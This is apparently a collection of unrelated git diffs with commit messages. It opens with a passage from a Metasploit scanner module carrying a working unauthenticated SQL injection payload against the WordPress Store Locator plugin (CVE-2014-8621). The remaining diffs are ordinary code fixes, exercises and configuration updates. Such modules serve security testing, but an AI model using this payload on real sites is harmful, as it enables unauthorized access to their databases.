+ This module attempts to exploit a SQL injection in Store Locator in version
+ 2.3-3.11 and likely prior in order if the instance is vulnerable.
+ },
+ 'Author' =>
+ [
+ 'g0blin', # Discovery
+ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2014-8621'],
+ [ 'WPVDB', '8241' ]
+ ],
+ 'DisclosureDate' => 'Nov 05 2014'
+ ))
+ end
+
+ def run_host(ip)
+ flag = Rex::Text.rand_text_alpha(5)
+ # TODO: Change the SQL injection to greater coverage
+ sqli = ", information_schema.tables.table_name as #{flag} FROM wp_store_locator LEFT JOIN information_schema.tables ON 1=1--"
+ vprint_status("#{peer} - Checking host")
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(wordpress_url_plugins, 'store-locator', 'sl-xml.php'),
+ 'vars_get' => {
+ 'sl_xml_customns[]' => flag,
+ 'sl_custom_fields' => sqli
+ }
+ )
+
+ if res && res.body && res.body.include?('marker')
+ print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Store Locator")
+ vprint_line("#{res.body}")
+
+ path = store_loot(
+ 'storelocator.file',
+ 'text/plain',
+ ip,
+ res.body
+ )
+ print_good("#{peer} - File saved in: #{path}")
+ else
+ print_error("#{peer} - Server did not respond in an expected way")
+ end
+ end
+end
|
Add WP Store Locator Sqli Scanner Module
|
diff --git a/week-4/add-it-up/my_solution.rb b/week-4/add-it-up/my_solution.rb
index abc1234..def5678 100644
--- a/week-4/add-it-up/my_solution.rb
+++ b/week-4/add-it-up/my_solution.rb
@@ -12,20 +12,18 @@ # Input: array of [numbers]
# Output: sum of all the numbers (sum)
# Steps to solve the problem.
- # 1) take input and define
- # 2) take each number within the array and add each together
- # 3) return output
-
+
+# define total as 0
+# take each element in the argument to the method and add them together
+# return sum
# 1. total initial solution
def total(array)
- array = [0]
-
- array.each do |i|
- total += i
-
- end
+ total = 0
+ array.each { |arr| total += arr }
+ return total
end
+
#array.each do |i|
|
Edit 4.7.2 add it up
|
diff --git a/lib/oboefu/api/layerinit.rb b/lib/oboefu/api/layerinit.rb
index abc1234..def5678 100644
--- a/lib/oboefu/api/layerinit.rb
+++ b/lib/oboefu/api/layerinit.rb
@@ -8,7 +8,7 @@ #
def report_init(layer)
force_trace do
- start_trace(layer, { '__Init' => 1, 'Version' => Oboe::Version::STRING }) { }
+ start_trace(layer, nil, { '__Init' => 1, 'Version' => Oboe::Version::STRING }) { }
end
end
|
[api/layer] Fix bug in layer init code
start_trace requires an X-Trace id to be passed to it, or nil. This
might be a place where there's room for improvement in the API.
|
diff --git a/0_code_wars/find_the_odd_int.rb b/0_code_wars/find_the_odd_int.rb
index abc1234..def5678 100644
--- a/0_code_wars/find_the_odd_int.rb
+++ b/0_code_wars/find_the_odd_int.rb
@@ -0,0 +1,5 @@+# https://www.codewars.com/kata/54da5a58ea159efa3800083
+# --- iteration 1 ---
+def find_it(arr)
+ arr.find{ |e| arr.count(e).odd? }
+end
|
Add code wars (6) - find the odd int
|
diff --git a/db/migrate/20130910184823_create_index_on_builds_id_desc_and_repository_id_and_event_type.rb b/db/migrate/20130910184823_create_index_on_builds_id_desc_and_repository_id_and_event_type.rb
index abc1234..def5678 100644
--- a/db/migrate/20130910184823_create_index_on_builds_id_desc_and_repository_id_and_event_type.rb
+++ b/db/migrate/20130910184823_create_index_on_builds_id_desc_and_repository_id_and_event_type.rb
@@ -0,0 +1,9 @@+class CreateIndexOnBuildsIdDescAndRepositoryIdAndEventType < ActiveRecord::Migration
+ def up
+ execute "CREATE INDEX CONCURRENTLY index_builds_on_id_repository_id_and_event_type_desc ON builds (id DESC, repository_id, event_type);"
+ end
+
+ def down
+ execute "DROP INDEX index_builds_on_id_repository_id_and_event_type_desc;"
+ end
+end
|
Add index on builds(id DESC, repository_id, event_type)
|
diff --git a/LogCentral.podspec b/LogCentral.podspec
index abc1234..def5678 100644
--- a/LogCentral.podspec
+++ b/LogCentral.podspec
@@ -6,8 +6,8 @@ s.license = "MIT"
s.author = { "Henrik Akesson" => "info@akesson.mobi" }
s.homepage = "https://github.com/akesson/LogCentral"
- s.platform = :ios, "8.0"
+ s.platforms = { :ios => "8.0", :osx => "10.12" }
s.source = { :git => "https://github.com/akesson/LogCentral.git", :tag => "#{s.version}" }
- s.source_files = "LogCentral/**/*.swift"
+ s.source_files = "Sources/**/*.swift"
end
|
Update podspec for macos as well
|
diff --git a/lib/transpec/file_finder.rb b/lib/transpec/file_finder.rb
index abc1234..def5678 100644
--- a/lib/transpec/file_finder.rb
+++ b/lib/transpec/file_finder.rb
@@ -20,7 +20,7 @@
def base_paths(paths)
if paths.empty?
- if Dir.exists?('spec')
+ if Dir.exist?('spec')
['spec']
else
fail ArgumentError, 'Specify target files or directories.'
|
Replace deprecated Dir.exists? with .exist?
|
diff --git a/capistrano-info.gemspec b/capistrano-info.gemspec
index abc1234..def5678 100644
--- a/capistrano-info.gemspec
+++ b/capistrano-info.gemspec
@@ -21,5 +21,5 @@ gem.require_paths = ["lib"]
gem.version = Capistrano::Info::VERSION
- gem.add_dependency 'capistrano', '~> 2.9'
+ gem.add_dependency 'capistrano', '>= 2.9.0'
end
|
Allow newer versions of capistrano
|
diff --git a/app/helpers/users_helper.rb b/app/helpers/users_helper.rb
index abc1234..def5678 100644
--- a/app/helpers/users_helper.rb
+++ b/app/helpers/users_helper.rb
@@ -1,7 +1,11 @@ module UsersHelper
def additional_organizations_json(user, organizations)
organizations.drop(1).map do |organization|
- { name: organization.name, role: user.role_at(organization) }
+ {
+ name: organization.name,
+ role: user.role_at(organization),
+ href: edit_organization_path(organization, redirect_to: "users")
+ }
end.to_json
end
end
|
Add href path to user_helper json call
|
diff --git a/Casks/fourk-video-downloader.rb b/Casks/fourk-video-downloader.rb
index abc1234..def5678 100644
--- a/Casks/fourk-video-downloader.rb
+++ b/Casks/fourk-video-downloader.rb
@@ -1,7 +1,7 @@ class FourkVideoDownloader < Cask
- url 'http://4kdownload.googlecode.com/files/4kvideodownloader_2.8.dmg'
+ url 'https://4kdownload.googlecode.com/files/4kvideodownloader_2.8.dmg'
homepage 'http://www.4kdownload.com/products/product-videodownloader'
version '2.8.2'
- sha1 'bf4475a6eaef018303bd1b984ae3e29bcb35f5d5'
+ sha1 '599b0e1c349ca7e0f439ade689a0318357a898e5'
link '4K Video Downloader.app'
end
|
Correct Four K Video Downloader Checksum
Update download link to https
Fixes #867
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.